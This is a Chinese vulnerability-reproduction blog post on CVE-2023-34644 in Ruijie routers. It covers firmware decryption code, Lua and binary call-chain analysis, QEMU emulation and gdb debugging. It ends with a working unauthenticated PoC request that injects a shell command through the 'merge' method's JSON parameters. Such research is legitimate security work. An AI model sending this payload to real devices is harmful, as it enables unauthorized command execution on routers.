CVE-2023-34644锐捷路由器漏洞复现

前序

起由是想看看近两年主流路由器漏洞是如何挖出来的,然后就找到了CVE-2023-34644,该漏洞影响面比较广,比较新,又有一定难度,下面是相关漏洞说明

编号:CVE-2023-34644
影响面:锐捷旗下睿易NBS3/5/6/7系列、睿易EG系列 、睿易EAP/RAP/NBC系列、星耀EW系列
CVSS3.1评分:9.8(严重)

固件获取

官网上下载到的是加密固件,binwalk解不开

两个办法,一个是通过异或解密(常用的文件结尾都填充\x00或\xff,同下载的文件进行异或获取key)
一个是通过未加密版本的固件获取解密程序,再用解密程序去还原加密版本,具体方法如下:

原始未解密版本xxx,升级到加密版本yyy时,先调用解密程序对yyy进行固件解密,然后使用openwrt的mtd命令来刷入解密后的固件,故搜索mtd字符串,可找到解密程序rg-upgrade-crypto
image-20240508120433368
将该程序拖入IDA分析,逻辑很简单,分享个自己写的解密代码

#include <stdio.h>
#include <fcntl.h>
#include <malloc.h>
#include <sys/stat.h>

void recycle(void *fileBuf, void *outBuf, int fileFd, int outFd) {
	free(fileBuf);
	if (outBuf) free(outBuf);
	if (fileFd>=0) close(fileFd);
	if (outFd>=0) close(outFd);
	return 0;
}

void realEndeCrypt(void *fileBuf, void *outBuf, int readNum) {
	char k1[4] = "\x01";
	char k2[4] = "\x01\x00\x01";
	int foo = 0;
	for (int ct=0; ct<readNum; ++ct) {
		foo = (int) k1[0] + (int)k2[0] + (int)k2[1] + (int)k2[2];
		for (int i=0; i<6; ++i)
			*((char *)k1 + i) = *((char *)k1 + i + 1);
		k2[3] = foo % 2;
        int key = 0;
		for (int j=0; j<8; ++j)
			key |= *((char *)k1 + j) << j;
		printf("offset: %d, xor key: %d\n", ct, key);
		*(char *)(outBuf + ct) = *(char *)(fileBuf + ct) ^ key;
	}
}

void handleEndeCrypt(int remainByte, void *fileBuf, void *outBuf, int fileFd, int outFd) {
    int v13 = remainByte;
	if (remainByte >= 4097) v13 = 4096;
    int readNum = 1;
	while (1) {
		memset(fileBuf, 0 ,4);
		memset(outBuf, 0, 4);
		int readNum = read(fileFd, fileBuf, v13);
		if (readNum<=0) break;
		else {
			realEndeCrypt(fileBuf, outBuf, readNum);
			if (write(outFd, outBuf, readNum) == readNum) continue;
		}
	}
    recycle(fileBuf, outBuf, fileFd, outFd);
}


int endecrypt(char *fileIn, char *fileOut, int encFlag) {
	int fileFd = -1;
	int statFd = -1;
	int outFd = -1;
	struct stat statBuf;
	int remainByte = 4096;

	if (!fileIn) {
		return -1;
	}
	if (access(fileIn, 0)) {
		return -1;
	}
	if (fileFd) {
		statFd = stat(fileIn, &statBuf);
		if (statFd < 0) return statFd;
	}
	void *fileBuf = malloc(4096);
	void *outBuf = malloc(4096);
	if (!fileFd || (fileFd = open(fileIn, 0, 0))) {
		if (fileOut) {
			outFd = open(fileOut, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP);
			if (outFd < 0) return statFd;
		}
		else {
			outFd = 1;
		}
		if (encFlag) {
			if (write(outFd, "upgrade_crypt_v1!@2021", 22) == 22) {
				handleEndeCrypt(remainByte, fileBuf, outBuf, fileFd, outFd);
			}
		}
		else {
			memset(fileBuf, 0, 4);
			if (read(fileFd, fileBuf, 22)==22) {
				remainByte -=22;
				handleEndeCrypt(remainByte, fileBuf, outBuf, fileFd, outFd);
			}
		}
	}

}


int main(int argc, const char **argv) {
	if (argc < 2) {
		puts("Param:\noption:\n-in <file>\n-out file\n.");
		return -1;
	}
	else {
		int v8 = argc - 1;
		const char **v9 = argv + 1;
		int encFlag = 0;
		char *fileIn;
		char *fileOut;
		while (v8 > 0)
		{
			if (!strcmp(*v9, "enc")) {
				encFlag = 1;
			}
			else if (!strcmp(*v9, "dec")) {
				encFlag = 0;
			}
			else if (!strcmp(*v9, "-in")) {
				if (--v8 <=0 ) {
					puts("Param:\noption:\n-in <file>\n-out file\n.");
					return -1;
				}
				fileIn = (char *)*++v9;
			}
			else if (!strcmp(*v9, "-out")) {
				if (--v8 <=0 ) {
					puts("Param:\noption:\n-in <file>\n-out file\n.");
					return -1;
				}
				fileOut = (char *)*++v9;
			}
			--v8;
			++v9;
		}
		endecrypt(fileIn, fileOut, encFlag);
	}
}

编译后运行测试,发现前几轮异或字节会变化,从第7轮开始异或的字节固定为127
image-20240508182039420
用该程序对加密固件进行还原,然后binwalk解开

固件分析

lua调用链分析

查资料知道该漏洞是命令注入且绕过了鉴权,漏洞起始于sysauth

那我们就搜索sysauth字段,eweb/api.lua这行很显眼,很像是无鉴权相关的东西
image-20240515073928029
进文件看看,只有这行内容,显然是定义了一个入口\api\auth对应的rpc函数rpc_auth,并定义了它不需要鉴权

entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

找到rpc_auth的定义处,可以看到函数jsonrpc.handle和作为参数传入的noauth

-- 认证模块
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
	...
    local _tbl = require "luci.modules.noauth"
	...
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

先看一下jsonrpc的handle函数,首先根据前端请求json数据的method字段从tbl参数中解析出了method,然后作为参数传递给了proxy函数(同时也把前端的params字段作为参数给了proxy),其外层是reply函数,结合返回值名字response和return的json形式,大概可以猜测handle函数的流程:根据前端请求中的method字段用proxy函数完成对应函数的rpc调用,返回结果通过reply进行格式化,封装为response形式的json数据,最终返回给前端,故此完成请求的闭环

function handle(tbl, rawsource, ...)
    local decoder = luci.json.Decoder()
    local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink())
    local json = decoder:get()
    local response
    local success = false

    if stat then
        if type(json.method) == "string" then
            local method = resolve(tbl, json.method)
            if method then
                response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
	...
	
    return luci.json.Encoder(response, ...):source()
end

继续分析函数,查看resolve函数,很典型的查表,按照前端的method字段从mod也就是noauth这个类中找到对应的函数

function resolve(mod, method)
    local path = luci.util.split(method, ".")

    for j = 1, #path - 1 do
        if not type(mod) == "table" then
            break
        end
        mod = rawget(mod, path[j])
        if not mod then
            break
        end
    end
    mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
    if type(mod) == "function" then
        return mod
    end
end

分析proxy函数,其参数是resolve解析出的noauth模块中的函数,又传递给了copcall进行调用

function proxy(method, ...)
    local tool = require "luci.utils.tool"
    local res = {luci.util.copcall(method, ...)}
    local stat = table.remove(res, 1)
    if not stat then
		...
    end
end

分析reply函数,对proxy的返回值进行json解码

function reply(jsonrpc, id, res, err)
    require "luci.json"
    id = id or luci.json.null

    -- 1.0 compatibility
    if jsonrpc ~= "2.0" then
        jsonrpc = nil
        res = res or luci.json.null
        err = err or luci.json.null
    end
    -- if type(res) == "string" then
    --     res = luci.json.decode(res) or res
    -- end
    return {id = id, data = res, error = err, jsonrpc = jsonrpc, code = 0}
end

分析copcall函数,对copxcall进行了封装

function copcall(f, ...)
	return coxpcall(f, copcall_id, ...)
end

分析copxcall函数,调用了oldpcall,大概就是在协程中启动noauth中的函数

function coxpcall(f, err, ...)
	local res, co = oldpcall(coroutine.create, f)
	if not res then
		local params = {...}
		local newf = function() return f(unpack(params)) end
		co = coroutine.create(newf)
	end
	local c = coroutine.running()
	coxpt[co] = coxpt[c] or c or 0

	return performResume(err, co, ...)
end

lua函数调用这条线分析到这算是弄清楚了,接下来要分析noauth函数本身了,打开noauth这个模块(这个名字本身也很吸引人),里面有四个函数lgoin\singleLogin\merge\checkNet,所谓命令注入,即未过滤的参数注入到了系统命令中,那首先排除不带参数的singleLogin,接着也可以排除checkNet,其唯一的参数host被checkIp函数过滤了

function checkNet(params)
    if params.host then
        local tool = require("luci.utils.tool")
        if string.len(params.host) > 50 or not tool.checkIp(params.host) then
            return {connect = false, msg = "host illegal"}
        end
        local json = require "luci.json"
        local _curl =
            'curl -s -k -X POST \'http://%s/cgi-bin/luci/api/auth\' -H content-type:application/json -d \'{"method":"checkNet"}\'' %
            params.host
	...
end

function checkIp(str)
    -- 放宽IP校验(tipcIp需要)
    return string.len(str) < 50 and string.match(str, "^[\.%d:%a]+$") ~= nil
end

然后看Login函数,对password函数做了includeXxs的过滤,那后面大概率有执行点,可能在checkPasswd这个函数里

function login(params)
	...
    if params.password and tool.includeXxs(params.password) then
        tool.eweblog("INVALID DATA", "LOGIN FAILED")
        return
    end
    local authOk
    local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
    tool.eweblog(ua, "LOGIN UA")
    local checkStat = {
        password = params.password,
        username = "admin", -- params.username,
        encry = params.encry,
        limit = params.limit
    }
    local authres, reason = tool.checkPasswd(checkStat)
	...
end

先看一下includeXxs过滤函数,判断逻辑过于简单,没有过滤"\n"等命令分隔符,有一定安全性吧,但安全性不高

function includeXxs(str)
    local ngstr = "[`&$;|]"
    return string.match(str, ngstr) ~= nil
end

再看一下checkPasswd函数,里面调用了cmd.devSta.get

function checkPasswd(checkStat)
    local cmd = require("luci.modules.cmd")
    local _data = {
        type = checkStat.encry and "enc" or "noenc",
        password = checkStat.password,
        name = checkStat.username,
        limit = checkStat.limit and "true" or nil
    }
    local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
    if type(_check) == "table" and _check.result == "success" then
        return true
    end
    return false, _check.reason
end

继续跟踪cmd.devSta.get,用了doParams对参数进行了处理,接着调用fetch,并传入"get"等参数

local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}

for i = 1, #opt do
	...
    devSta[opt[i]] = function(params)
        local model = require "dev_sta"
        params.method = opt[i]
        params.cfg_cmd = "dev_sta"
        local data, back, ip, password, shell = doParams(params)
        return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
    end
	...

先看doParams函数,从params里取出了一些数据,注意我们没有params.remotePwd,所以取出的password为空,我们存放在params.data字段里的password经过luci.json.encode被放到了data中

local function doParams(params)
    require "luci.json"
	...
        local data, back, ip, password = nil, nil, nil, nil

        local _shell = params.cfg_cmd .. " " .. params.method .. " --module '" .. params.module .. "'"
        -- 远程代理调用
        if params.remoteIp then
            _shell = _shell .. " -i '" .. params.remoteIp .. "'"
            ip = params.remoteIp
        end
        if params.remotePwd and not (params.cur) then
            _shell = _shell .. " -p '" .. params.remotePwd .. "'"
            password = params.remotePwd  //此处password为空
        end
        if params.data then
            data = luci.json.encode(params.data)  //我们传入的password存放到了data中
            _shell = _shell .. " '" .. data .. "'"
        end
		...
        return data, back, ip, password, _shell
    end
end

看一下luci.json.encode对我们的password做了什么处理,这个类的初始化方法对传入的字符串进行了编码,将"\"替换为了"\\",导致password中的"\n"也没法用了

function Encoder.parse_string(self, obj)
	if self.fastescape then
		self:put('"' .. obj:gsub('\\', '\\\\'):gsub('"', '\\"') .. '"')
	else
		self:put('"' ..
			obj:gsub('[%c\\"]',
				function(char)
					return '\\u00%02x' % char:byte()
				end
			)
		.. '"')
	end
end

noauth里的函数就只剩merge还没看了,整个params传进去了,看样子也没做任何过滤(笑哭),同login一样,调用devSta,里面用doParams对参数进行提取和编码,不同的是这次";|`${}"都可以用了,不会被编码

function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

然后这些参数传递给了fetch方法,实际调用的是ac_config.lua中的fetch方法,param未经任何检验传递给了uf_call.client_call

function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
    local uf_call = require "libuflua"
    local ctype

    ctype = get_ctype()
    param = param or ""
    ip = ip or ""
    password = password or ""

	...

    local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
    return stat
end

继续跟踪uf_call 的原型libuflua,定位到了libuflua.so,从这开始进入了二进制的范畴了,其实现在已经可以写PoC进行测试了(大概率请求传入的参数都是在lua里进行处理和检测的,后续的程序应该只是负责执行,然后从一路过来的rpc\cmd\shell\call这些关键字可以猜测,传入的参数应该是会放到命令行中执行的),但本着分析到底的态度,我们还是继续跟一下程序

总结下前序的lua调用链,grep这个神器+直观的源码,帮助我们不停地往里分析,还是很容易的

二进制文件分析

libuflua.so拖入IDA,直接定位client_call,发现调用的外部函数
image-20240515200450436
继续grep,找到libunityframe.so
image-20240515200745514
对其进行分析,函数很简单,前面一堆输出信息的没啥用,然后就是一大堆"排比句",提取lua传递过来的参数,进行序列化,a1[3]里存放的是lua的param,其序列化后的v44形如{"method":"devSta.set", "params": {"data": {}}},data字段里放的是lua的param

    v39 = (_BYTE *)a1[3];
    v40 = json_object_new_string(v39);
    ...
    json_object_object_add(v21, "data", v40);
    ...
    json_object_object_add(v6, "params", v21);
    v44 = json_object_to_json_string(v6);

然后就看到创建了client_socket,然后将json化的v44通过write发送出去了,嗯继续甩锅,之前见到很多类似后端,通过mqtt\websocket\socket完成数据转发的情况

	  v45 = uf_socket_client_init(0);
      v51 = strlen(v44);
      uf_socket_msg_write(v45, v44, v51);

既然有client,那必然有server,直接看connect连接了什么,发现连接的信息藏到了sock文件中

os_domain_socket_client_connect(v8, "/tmp/uniframe_sgi/lib_uf_server.sock")

立马换思路,grep搜uf_socket_server_init,然后就找到了unifyframe-sgi.elf,这个程序难分析一些,代码量很大并且都去了符号,前面一堆accept\多线程\互斥锁\信号量这些并发的东西,然后就到了uf_socket_msg_read,读出数据包,然后用parse_content对数据包进行解析,然后传递给add_pkg_cmd2_task函数
先看parse_content函数,通过反序列化取出数据包中各个字段的值,v6值为devSta.set

if ( (unsigned int)json_object_object_get_ex(v4, "method", &v15) == 1 )
{
    v6 = (const char *)json_object_get_string(v15);
    ...
    if ( strstr(v6, "cmdArr") )
    {
        ...
    }
    else
    {
        *(_DWORD *)(a1 + 60) = 1;
        v13 = malloc_cmd();
        if ( v13 )
        {
            v14 = parse_obj2_cmd(v4, string);
            ...
        }
        else
        {
            ...
        }
    }

固调用parse_obj2_cmd,继续取出params字段中,存放到堆上某偏移处(a1指针指向的某偏移),这里关注我们能控制的data字段,其被放入了a1+12处

  if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )
  {
    v43 = json_object_get_string(v46);
    if ( v43 )
    {
      v44 = strdup(v43);
      *(_DWORD *)(v5 + 12) = v44;
      if ( !v44 )
      {
        v9 = 561;
        goto LABEL_136;
      }
    }
  }

然后进入add_pkg_cmd2_task,前面是做检查和输出一些日志,然后调用了可疑的uf_cmd_call,一大堆取值和做检查,然后看到了一个ufm_popen,分析其参数v100来源于url字段,而这个里的url字段,看样子是我们可以控制的(来自于a1+12的data字段处),找到执行点了?

  v19 = *(_DWORD *)(a1 + 12);
  ...
  v20 = json_tokener_parse(v19, v18);
  v23 = json_object_object_get(v20, "url");
  v24 = v23;
  ...
  v26 = (const char *)json_object_get_string(v24);
  v25 = strlen(v26);
  v100 = (const char *)malloc(v25 + 128);
  ...
  v29 = strlen(v26);
  v31 = snprintf(v100, v29 + 127, "curl -m 5 -s -k -X GET \"%s", v26);
  strcpy(&v100[v31], "\"");
  v101[0] = 0;
  while ( 1 )
  {
    ufm_popen(v100, v101);

由于以上都是我们的静态分析,中间可能忽略了一些goto\if\else等跳转语句,实际上不一定能执行到这里,所以需要动态调试进行路径验证

固件仿真

环境搭建

没有真实设备,FirmAE等工具也不大行,故用系统模式的qemu进行仿真,从别人那copy来的qemu启动脚本,内核和磁盘系统的下载链接为https://people.debian.org/~aurel32/qemu/mipsel,启动qemu,用密root/root

#!/bin/bash
 
sudo qemu-system-mipsel \
    -cpu 74Kf \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap \
    -nographic

然后将qemu和宿主机的网络配通,用下面命令添加网卡,同宿主机一个网段

sudo ifconfig eth0 xx.xx.xx.xx

固件打包为squashfs.tar.gz,然后scp上传到qemu,然后解压

scp squashfs.tar.gz root@192.168.101.111:/root

执行以下命令,赋予所有文件可执行权限,chroot前需要挂载qemu本身的/proc/dev,保留这两个重要的系统目录

cd squashfs
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

启动固件

运行环境搭好后,开始模拟固件操作,openWRT刷完文件系统后,会启动/sbin/init进行初始化,为了尽可能模拟设备,我们将其放到后台运行

/sbin/init &

然后内核会启动/etc/init.d路径下的初始化脚本,全部启动的话可能会有一些缺失文件和硬件的报错,故我们这里进行部分仿真,首先webServer肯定得启动,找到启动脚本/etc/init.d/lighttd,通过以下命令启动

/etc/init.d/lighttd start

出现缺失文件报错,通过报错信息+IDA字符串搜索定位到文件/var/run/lighttpd.pid,由于IDA中看到其只对存在性进行校验,没有检查内容,固创建空文件即可,其余文件同理
image-20240513191746149
然后就能通过web访问漏洞入口了
image-20240514110754135
漏洞相关的lua链通过cgi转发即时调用,可执行程序unifyframe-sgi.elf需要我们手动启动

/etc/init.d/unifyframe-sgi start

发现报错Failed to connect to ubus:,打开IDA分析,可以看到用到了ubus总线进行进程间通信,固需要先后启动/sbin/ubusduf_ubus_call.elfunifyframe-sgi.elf,接着又看到一个segment fault,继续IDA分析,可以看到程序停在了打开/tmp/rg_device/rg_device.json文件这里

    v8 = json_object_from_file("/tmp/rg_device/rg_device.json");
    v9 = v8;
    if ( !v8 )
    {
      v13 = 704;
      v6 = "ERROR (%s %s %d)read cap file failed!";
      goto LABEL_32;
    }
    v10 = json_object_object_get(v8, "dev_type");
    string = json_object_get_string(v10);
    strncpy(byte_436428, string, 126);

应该是我们漏了一个拷贝文件的初始化步骤,固从别的地方找到一个带dev_type字段的rg_device.json拷过来
image-20240515221601720
再从运行unifyframe-sgi.elf没有报错,ps也能查到该进程,至此仿真完成

固件调试

验证猜想

传gdbserver到qemu上,gdbserver下载链接,这里找了个老版本的,附加到unifyframe-sgi.elf进程

gdbserver 0.0.0.0:1234 --attach pid

然后通过宿主机上的IDA或者gdb(建议)连接到该端口,建议后面几条命令写到gdb脚本中通过source加载,后面gdb会频繁的跑挂掉需要重新启动

gdb-multiarch ./usr/sbin/unifyframe-sgi.elf
set architechture mips
set endian little
set follow-fork-mode parent
target remote ip:port

这里记录一下gef或者pwndbg的选择,在多线程程序调试上还是有区别的,pwndbg输出日志更简洁并且可以用telescope查看结构体,但老是跑挂掉,后面我不得不换gef,虽然有一大堆丑陋的threads日志,但感觉更稳定些

gdb跑起来后,先在uf_socket_msg_read后下断点,然后继续运行,这个时候浏览器访问/api/auth,bp抓包
image-20240515225439420
然后根据我们前面的分析将包改为我们认为能够触发的样子,改的地方有三个:GET->POST,加上Content-Type字段,空一格加上上传的参数,改包后放行

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.121.158
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

{"method": "merge", "params": {"url": "bar"}}

然后就能看到gdb断下来了,$s0+4中存储着传过来的数据包,params.data字段里存放着我们上传的参数
image-20240514152808208
接着我们在uf_cmd_call这里下断点,继续运行可以观察到程序进入了该函数,同时,由于程序会在多个线程间跳来跳去,而我们只关注调用了uf_cmd_call的这个线程,所以进入该函数后通过下面命令锁住当前线程,然后接着调试

set scheduler-locking on

此阶段我们的目标是验证程序能否走到ufm_popen这一步,故需要在if\else\goto等跳转处下断点,接着发现程序在uf_cmd_call+205行处,v16=0,跳转到了LABEL_86处,跳过了ufm_popen的调用,而v16来源于a1+4也就是"from_url"字段,是不可控的,跳转是必然的,故ufm_popen这条路被堵死了
image-20240516142427041

重新找执行点

既然unifyframe-sgi.elf收集了params参数的各个字段,后面一定会使用它们进行配置的,我们把当前的任务变成继续寻找执行点,由于未执行的代码非常多,一条条跟不现实(gdb还随时可能跑飞),我们只需要在那些大的跳转(防止跟丢)和看起来奇怪的函数(可能里面会有执行点)前下断点,那些赋值、日志打印语句通通跳过,这样能大大简化工作

这里总结gdb断点位置的经验:猜测可能是分支延迟效应的影响,如果断点离跳转指令过近,会出现以下报错导致断不下来,故我选择断点下在距跳转前两三条指令的位置
image-20240514174122013

很快,发现程序在uf_cmd_call+364处进入了if,然后因v102[5]=“set”跳转到了LABEL_96
image-20240516183956239

364  if ( !v102[20] )
	  {
	    v53 = v102[5];
	    if ( !strcmp(v102[5], "set") || !strcmp(v53, "add") || !strcmp(v53, "del") || !strcmp(v53, "update") )
	   {
	     v100 = 0;
         v99 = 127;
         goto LABEL_96;
	   }
	    v54 = (int *)a1;
 	   if ( v102[7] )

后面观察到程序进入了407行的if,接着便调用了ufm_handle,其参数v102是从a1中取出的各字段的值,uf_cmd_call函数前面的工作基本是都是在给v102赋值,这个地方终于用到了v102的值,那大概率会在这里面使用参数了

image-20240514181753279

407   if ( v81 )
      {
        v82 = a1;
        if ( !*(_BYTE *)(v102[0] + 48) )
        {
		  ...
          if ( v83 && *v83 )
          {
			...
          }
          else if ( HIBYTE(v102[4]) && g_debug >= 2 || g_debug >= 3 )
          {
			...
          }
          v98 = ufm_handle(v102);
          pthread_mutex_unlock(v102[24] + 112);
          _pthread_unregister_cancel(v101);

跟进ufm_handle函数,这个函数体也很长,还是用那个思路,只在关键函数\大跳转处下断点,然后看到349这里进入了if(v4是"set")
image-20240514183700428
然后进入sub_40FD5C,接着到483行这里,调用sub_40CEAC
image-20240514202728475
popen\ufm_commit_add等函数前下断点,发现调用的是下面的ufm_commit_add
image-20240514203807740
可以看到ufm_add_commit的参数$a1的值指向字符串,该字符串是由我们上传的参数拼接而成的一条命令
image-20240514203641261
ufm_add_commit 中调用了async_cmd_push_queue,该函数很简单,a1为0,a2为指向命令的指针,将a2存入v7偏移28字节处,然后跳转LABEL_34,然后看到信号量相关的操作sem_initsem_post,后面函数就返回了,好吧那看来是又把数据甩给别的线程了,查看sem_post参数的交叉引用,找到sub_41AFC8函数

int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
  ...
  if ( !a1 )
  {
    if ( a2 )
    {
      v19 = strdup(a2);
      *(_DWORD *)(v7 + 28) = v19;
      if ( v19 )
        goto LABEL_34;
 ...
LABEL_34:
  v20 = (_DWORD *)dword_435DE0;
  *(_DWORD *)(v7 + 60) = &commit_task_head;
  dword_435DE0 = v7 + 60;
  v21 = dword_4360A4;
  *(_DWORD *)(v7 + 64) = v20;
  *v20 = v7 + 60;
  dword_4360A4 = v21 + 1;
  *(_BYTE *)(v7 + 32) = v3;
  if ( !v3 )
    sem_init(v7 + 36, 0, 0);
  pthread_mutex_unlock(&unk_4360B8);
  sem_post(&unk_4360A8);    //查看参数的交叉引用
  return v7;

可以看到sub_41AFC8里有一个sem_wait,函数先阻塞在此处,当接收到来自async_cmd_push_queuesem_post后,继续往下执行,然后就调用sub_41ADF0函数

void __fastcall __noreturn sub_41AFC8(int a1)
{
  pthread_setcanceltype(1, 0);
  v2 = pthread_self();
  pthread_detach(v2);
  prctl(15, "exec_cmd_task");
  *(_BYTE *)(a1 + 8) = 0;
  while ( 1 )
  {
    do
    {
      sem_wait(&unk_4360A8);   //信号量
      pthread_mutex_lock(4415672);  
      v3 = commit_task_head;
      if ( (int *)commit_task_head == &commit_task_head )
      {
        v4 = 0;
      }
      else
      {
        v4 = commit_task_head - 60;
        *(_DWORD *)(*(_DWORD *)commit_task_head + 4) = *(_DWORD *)(commit_task_head + 4);
        **(_DWORD **)(v3 + 4) = *(_DWORD *)v3;
        *(_DWORD *)(v3 + 4) = 0;
        *(_DWORD *)v3 = 0;
        --dword_4360A4;
      }
      pthread_mutex_unlock(&unk_4360B8);
      *(_DWORD *)(a1 + 12) = v4;
    }
    while ( !v4 );
    *(_DWORD *)(a1 + 4) = dword_4360A0;
    *(_BYTE *)(a1 + 8) = 1;
    sub_41ADF0(v4);

进入sub_41ADF0函数,上面的if进不去,然后就调用了ufm_popen,其参数为a1偏移28字节处,里面刚好存放我们的命令字符串,至此终于调通了命令注入点

int __fastcall sub_41ADF0(_DWORD *a1)
{
  ...
  v1 = *a1;
  if ( *a1 )
  {
	...
  }
  else
  {
    if ( !*((_BYTE *)a1 + 32) )
    {
      result = ufm_popen((const char *)a1[7], a1 + 13);
      v3 = a1;
      goto LABEL_9;
    }
	...
  }
  return result;
}

POC

最终执行点ufm_popen处的命令字符串形式如下,固可以将PoC中的"foo"或者"bar"替换为任意命令,并用;|${}等拼接,注意外面需要加一对单引号同字符串本身的单引号闭合,才能被当做命令而不是字符串

"/usr/sbin/module_call set networkId_merge '{\"foo\": \"bar\"}'"

提供一个自己的POC

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.121.158
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 64

{"method": "merge", "params": {"foo": "'`ls > /www/hack.txt`'"}}

攻击演示

用bp发送POC数据包,通过浏览器访问目标路径,可知攻击已完成,整个过程不需任何授权
image-20240516210909065

后记

在知道部分漏洞信息的前提下,光是调试分析就花了我两天时间,如果是从无到有的挖掘,茫茫大海捞针,对人的信念和能力都是更大的考验,这里小记一下三点心得

  • 会找目标最重要。这是一个决定开始的关键问题,如何找到一款具有价值又有安全隐患的设备,以及从何处开始入手分析,选对了事倍功半,小马达点火咔咔运转,选错了走入死胡同,核反应堆也能干熄火。挖掘者巧妙地选取了这款设备,有很大的市场应用面,并且吧从代码风格以及对程序的加密保护上来看,安全性确实不是很高(但凡对lua\elf\so库做了点加密,分析难度会直线上升);然后最重要的是选取了sysauth这个关键字,顺藤摸瓜马上就能看到noauth\includeXXs\Cmd\Params\rpc这些字眼咔咔往外冒,基本成功了一半
  • 分析方法有捷径。分析的路线可以选择从交互入口开始往里钻,或者从危险函数入手溯源,从交互入口开始能知道哪些是自己能控制的,但后续会遇到太多交叉路口太多死胡同;从危险函数开始的话目标是清晰的,也得找到一条回归用户的路,两种方法各有利弊,哪方面的已知条件更大些就往哪走。中间找路子是有很多技巧的:该设备的lua调用分析很容易,基本都是大白话,但二进制部分的分析就有讲究了,gdb如果一条条指令跟是非常麻烦的,我们需要搞清楚目标是什么,gdb调试的目的包括查看过程中的内存值,跟进函数调用和分支跳转,分析路径可达性等,根据目的选取方法,比如我们这里的目的是跟进函数调用,那一个很快捷的方法是只在可疑函数和大跳转处下断点,既能跳过日志输出变量赋值这些代码,又能防止跟丢;然后每下一个断点都要做好笔记,并且把那些初始化的set命令写到gdb脚本里,因为调试这种复杂的多进程多线程的程序,gdb经常会跑丢或者挂掉,需要反复重启,这个时候我们只需要加载gdb脚本,并恢复上一个断点,可以轻易的接上中断的工作,养成这个好习惯能大大提升效率,把精力集中到分析本身而不是工具的试错上
  • 挖洞的信念感。挖洞是孤独的,不确定的,仿佛置身黑暗,灵感的光如同风吹动蜡烛忽暗忽明,需要有坚定的信念摸着黑往前走,而信念本身又是基于经验,成功的经历又能反哺信念感,所以要常动手

本来有挺多想法,杂事太多整忘了,等想起来的时候再补充吧

参考

https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

posted @ 2024-05-16 22:19  z5onk0  阅读(1273)  评论(0编辑  收藏  举报